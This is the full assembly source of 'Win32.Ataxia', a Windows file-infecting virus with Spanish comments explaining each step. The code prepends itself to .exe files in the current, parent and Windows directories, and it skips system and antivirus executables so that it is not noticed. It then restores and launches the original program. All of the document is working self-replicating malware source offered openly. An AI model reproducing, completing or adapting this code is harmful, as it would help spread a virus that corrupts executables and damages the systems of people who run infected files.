;Win32.Ataxia By Evul

.386p
.model flat
.code                    ;setting para el Tasm

;=============================
extrn	LocalFree:proc;
extrn	LocalAlloc:proc;
extrn	GetModuleHandleA:proc;
extrn	GetModuleFileNameA:proc;

extrn	ExitProcess:proc;
extrn	WinExec:proc;
extrn	GetCommandLineA:proc;

extrn	_lopen:proc;
extrn	_lcreat:proc;
extrn	_lread:proc;
extrn	_lwrite:proc;

extrn	FindFirstFileA:proc;
extrn	FindNextFileA:proc;
extrn	DeleteFileA:proc;
extrn	MoveFileA:proc;
extrn	CloseHandle:proc;
;extrn	CreateFileA:proc;
extrn	WriteFile:proc;

extrn	GetSystemDirectoryA:proc;

extrn	GetWindowsDirectoryA:proc;
extrn	GetCurrentDirectoryA:proc;
extrn	SetCurrentDirectoryA:proc;

extrn	lstrcat:proc;

;=============================     ;funciones del api que vayamos a usar 

include windows.inc

;=============================

virussize	equ	8192             ;constante que contiene el tamaño del virus 

;=============================

begin:	

	mov	ebx,	0ffffffh
	push	ebx            ;cantidad de memoria a reservar (0ffffffh) 
	push	LMEM_ZEROINIT  ;flag (inicializar a cero)
	call	LocalAlloc     ;funcion para separa una cantidad de memoria especficada

	mov	dword ptr [heap], eax     ;puntero a la memoria
	cmp	eax,	0                   ;si es 0 hubo un error 
	je	done_this                 ;asi que nos largamos de aqui

fixhost:

	push	offset  handle1	 
      call	GetModuleHandleA       ;obtiene el handle del archivo ejecutado
	
      push 	50 
	push 	offset handle2
	push 	eax
	call	GetModuleFileNameA      ;guarda en handle2 el nombre de este archivo

	push	offset filedta          
	push	offset handle2
	call	FindFirstFileA          ;Busca este archivo , para obtener datos sobre el 

	lea	esi,	[cFileName]       ;pone en esi el nombre del file encontrado
	lea	edi,	[newfilename]     ;apunta edi al buffer del nuevo nombre de file
stowit_:
	lodsb
	cmp	al,	'.'
	je	addext_
	stosb
	jmp	stowit_                  ;busca el punto dentro del nombre del file 
addext_:
	stosb
	lea	esi,	[newext]
	movsw
	movsw                         ;le agrega la extension .vxe

	push	0                        
	push	offset cFileName
	call	_lopen                  ;abre el archivo .vxe


	mov	dword ptr [open_handle],eax   ;guarda el handle del archivo 

	push	dword ptr [nFileSizeLow]      
      push	dword ptr [heap]
	push	eax
	call	_lread                      ;mueve a la memoria el todo el ejecutable

	push	dword ptr [open_handle]
	call	CloseHandle                  ;cierra el archivo 

	push	0
	push	offset newfilename
	call	_lcreate                     ;crea de nuevo el .exe 

	mov	ebx,	dword ptr [nFileSizeLow]
	sub	ebx,	virussize  ;le resta al tamaño del .exe el del virus para obtener el tamaño
 	push	ebx              ;del .exe original        

	mov	ebx,	dword ptr [heap]
	add	ebx,	virussize       ;mueve el puntero al principio del .exe original
	push	ebx
	push	dword ptr [open_handle]
	call	_lwrite           ;y luego lo escribe con el nombre del exe 

	push	dword ptr [open_handle]
	call	CloseHandle       ;cierra el .exe

	push	0
	push	offset evulzfile
	call	_lcreat            ;crea un archivo con nombre evul.tmo

      mov	dword ptr [open_handle],eax
      push	virussize
	push	dword ptr [heap]
	push	eax
	call	_lwrite           ; y escribe en este el virus original 

	push	dword ptr [open_handle]
	call	CloseHandle       ; y cierra evul.tmp

	push	2
	push	offset evulzfile
	call	_lopen            ;vuelve y abre evul.tmp    (?????) 

	mov	dword ptr [open_handle],eax

	push	virussize
	push	dword ptr [heap]
	push	eax
	call	_lread         ;lee el virus DE NUEVO a memoria  (?????)

	push	dword ptr [open_handle]
	call	CloseHandle    ;vuelve y cierra el archivo


execit:

	jmp	dirloop      ;salta a la busque de archivos 

FEXY:
	mov	byte ptr [infected],0  ;pone # de infected a 0
	push	offset filedta
      push	offset maska 
	call	FindFirstFileA         ;busca archivos .exe en el path actual

	mov	dword ptr [handle_],eax ;guarda el handle de busqueda
	cmp	eax,	0
	je	done_this               ;si hay un error nos largamos de aqui
check:
	mov	bx,	word ptr[cFileName]
	cmp	bx,	'XE'              ; Explorer ?
	je	nextfile
	cmp	bx,	'UR'              ; RUNDll ?
	je	nextfile
	cmp	bx,	'ur'              ; rundll ?
	je	nextfile
	cmp	bx,	'ME'              ; Emm386 ??
	je	nextfile
	cmp	bx,	'va'              ; Antivirus ?
	je	nextfile
	cmp	bx,	'sv'              ; Antivirus ?
	je	nextfile
	cmp	dword ptr [nFileSizeLow],(0ffffffh-virussize); Muy Grande ??
	jg	nextfile          ;si cualquiera de las anteriores se cumple no lo infecta


	push	2
	push	offset cFileName
	call	_lopen            ;abrimos la victima

      mov	dword ptr [open_handle],eax

	mov	ebx,	dword ptr [nFileSizeLow]
	mov	dword ptr [hostsize], ebx     ;guardamos en ebx el tamaño del exe a infectar

	push	ebx
	mov	ebx,	dword ptr [heap]
	add	ebx,	virussize        ;le sumamos al tamaño del exe el tamaño del virus

	push	ebx
	push	eax
	call	_lread         ;leemos los datos del exe en la memoria luego del cuerpo del virus

	push	dword ptr [open_handle]
	call	CloseHandle      ;lo cerramos

	mov	ebx,	dword ptr [heap]   
	add	ebx,	(virussize+12h)

	cmp	byte ptr [ebx], 'X'
	je	bail
	add	ebx,	6
	cmp	byte ptr [ebx], '@'
	jne	bail             ;miramos en 12h y en 18h esta la marca de infeccion 

	push	2
	
      push	offset cFileName   
      call	_lopen             ;Volvemos a abrir el archivo (???)

	mov	dword ptr [open_handle],eax

	mov	ebx,	dword ptr [nFileSizeLow]
	add	ebx,	virussize            ;obtenemos el tamaño del exe mas el del virus 
	push	ebx
	push	dword ptr [heap]
	push	eax
	call	_lwrite                   ;escribimos el exe nuevo y el virus 
	inc	byte ptr [infected]
bail:
	push	dword ptr [open_handle]
	call	CloseHandle      ; lo cerramos 

	cmp	byte ptr [infected],5
	je	done_this           ;si ya infectamos 5 nos largamos 

nextfile:

	push	offset filedta
	mov	eax,	dword ptr [handle_]
	push	eax
	call	FindNextFileA      ;continuamos con la busqueda de EXEs

	cmp	eax,	0
	je	done_this       ;si no hay mnas nos largamos 

	jmp	check

done_this:
	ret
dirloop:
	call	FEXY              ;se devuelve 
	push	offset curdir
	push	260
	call	GetCurrentDirectoryA

uploop:
	push	offset updir
	call	SetCurrentDirectoryA
	cmp	eax,	1
	jne	trywindows
	call	FEXY             ;nos movemos al directorio de arriba (\..) y buscamos otros 5 EXEs

trywindows:
	push 	260
	push 	offset windir
	call 	GetWindowsDirectoryA

	push	offset windir
	call	SetCurrentDirectoryA
	call	FEXY         ;nos movemos al directorio de windows y buscamos otros 5 EXEs

	push	offset curdir
	call	SetCurrentDirectoryA ;restauramos el antiguo dir.

	mov	eax,	dword ptr [heap]
	call	LocalFree   ;liberamos la memoria reservada 

call	GetCommandLineA

	mov	esi,	eax  ;obtenemos la linea de comandos del ejecutable actual 
loopdot:
	mov	edi,	esi
	lodsb
	cmp	al,	'.'
	jne	loopdot      ;busacmso el punto 
	
	stosb
	lea	esi,	[fixcmd]
	movsw
	movsw       ;le agrgamos la extension VXE

	call	GetCommandLineA

	push	00000001
	inc	eax
	push	eax
	call	WinExec    ; y lo ejecutamos fianlmente

deleteit:

	push	offset newfilename
	call	DeleteFileA    ;borramos el archivo .exe temporal 

	cmp	eax,	0
	je	deleteit       ;si hay un error lo volvemos a borrar 

	push	offset evulzfile
	call	DeleteFileA       ; borramos el evul.tmp


	push	0
	call	ExitProcess  ; y por fin terminamos

;=============================

.data
windir		db	260	dup(0)
curdir		db	260	dup(0)
maska		db	'*.exe',0
newext		db	'VXE',0
fixcmd		db	'VXE '
evulzfile	db	'Evul.tmp',0
handle_		dd	0
open_handle	dd	0
heap		dd	0
hostsize	dd	0
commandline	dd	0
updir		db	'..',0

filedta:

FileAttributes	dd	0
CreationTime 	db	8	dup(0)
LastAccessTime	db	8	dup(0)
LastWriteTime	db	8	dup(0)
nFileSizeHigh	dd	0
nFileSizeLow	dd	0
dwReserved0	dd	0
dwReserved1	dd	0

cFileName	db	50	dup(0)
cAltFileName	db	50	dup(0)
handle1		db	50 	dup(0)
handle2		db	50 	dup(0)
written		dd	0
infected	db	0
newfilename	db	50	dup(0)

	end	begin